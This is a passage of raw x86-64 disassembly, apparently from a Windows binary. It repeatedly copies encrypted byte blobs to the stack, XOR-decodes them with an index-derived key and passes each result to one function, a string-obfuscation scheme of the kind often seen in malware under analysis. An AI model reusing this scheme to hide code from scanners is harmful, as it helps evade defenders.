lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x1400082c0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e230]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e240]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e250]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e260]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e270]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006e280]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006e290]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x14006e2a0]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x14006e2a8]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x14006e2ac]
mov byte [rbp - 0x54], al
mov r8d, r12d
cmp ebx, 2
jl 0x140008483
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140008390
cmp r8d, 0x7d
jge 0x1400084c3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x140008490
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6de40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, r12d
cmp ebx, 2
jl 0x140008659
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140008560
cmp r8d, 0xa1
jge 0x1400086a6
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140008670
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006ecc0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ecd0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ece0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006ecf0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006ed00]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006ed10]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006ed20]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006ed30]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006ed40]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006ed50]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14006ed54]
mov word [rbp - 0x3c], ax
movzx eax, byte [0x14006ed56]
mov byte [rbp - 0x3a], al
mov r8d, r12d
cmp ebx, 2
jl 0x140008849
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008750
cmp r8d, 0x97
jge 0x140008896
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140008860
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e630]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e640]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e650]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e660]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e670]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006e680]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006e690]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006e6a0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006e6b0]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006e6c0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14006e6c8]
mov dword [rbp - 0x38], eax
mov r8d, r12d
cmp ebx, 2
jl 0x140008a39
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140008940
cmp r8d, 0x9c
jge 0x140008a86
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140008a50
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rdx, [rsp + 0x30]
lea rcx, [rdi + 0x6e6d0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, word [rcx + 0xac]
mov word [rdx + 0x2c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x140008c29
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140008b30
cmp r8d, 0xae
jge 0x140008c76
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xae
jl 0x140008c40
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006f060]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f070]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f080]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f090]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f0a0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f0b0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f0c0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006f0d0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006f0e0]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006f0f0]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14006f0f4]
mov word [rbp - 0x3c], ax
movzx eax, byte [0x14006f0f6]
mov byte [rbp - 0x3a], al
mov r8d, r12d
cmp ebx, 2
jl 0x140008e19
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008d20
cmp r8d, 0x97
jge 0x140008e66
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140008e30
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e380]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e390]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e3a0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e3b0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e3c0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006e3d0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006e3e0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006e3f0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006e400]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006e410]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14006e418]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14006e41c]
mov word [rbp - 0x34], ax
mov r8d, r12d
cmp ebx, 2
jl 0x140009019
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140008f20
cmp r8d, 0x9e
jge 0x140009066
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9e
jl 0x140009030
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e4e0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e4f0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e500]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e510]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [str.KV__]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006e530]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006e540]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006e550]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006e560]
movups xmmword [rbp - 0x50], xmm0
movzx eax, word [0x14006e570]
mov word [rbp - 0x40], ax
movzx eax, byte [0x14006e572]
mov byte [rbp - 0x3e], al
mov r8d, r12d
cmp ebx, 2
jl 0x140009209
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140009110
cmp r8d, 0x93
jge 0x140009256
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140009220
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006cf50]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006cf60]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006cf70]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006cf80]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006cf90]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006cfa0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006cfb0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006cfc0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006cfd0]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006cfe0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14006cfe8]
mov dword [rbp - 0x38], eax
mov r8d, r12d
cmp ebx, 2
jl 0x1400093f9
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140009300
cmp r8d, 0x9c
jge 0x140009446
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140009410
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006f500]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f510]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f520]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f530]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f540]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f550]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f560]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006f570]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006f580]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006f590]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14006f598]
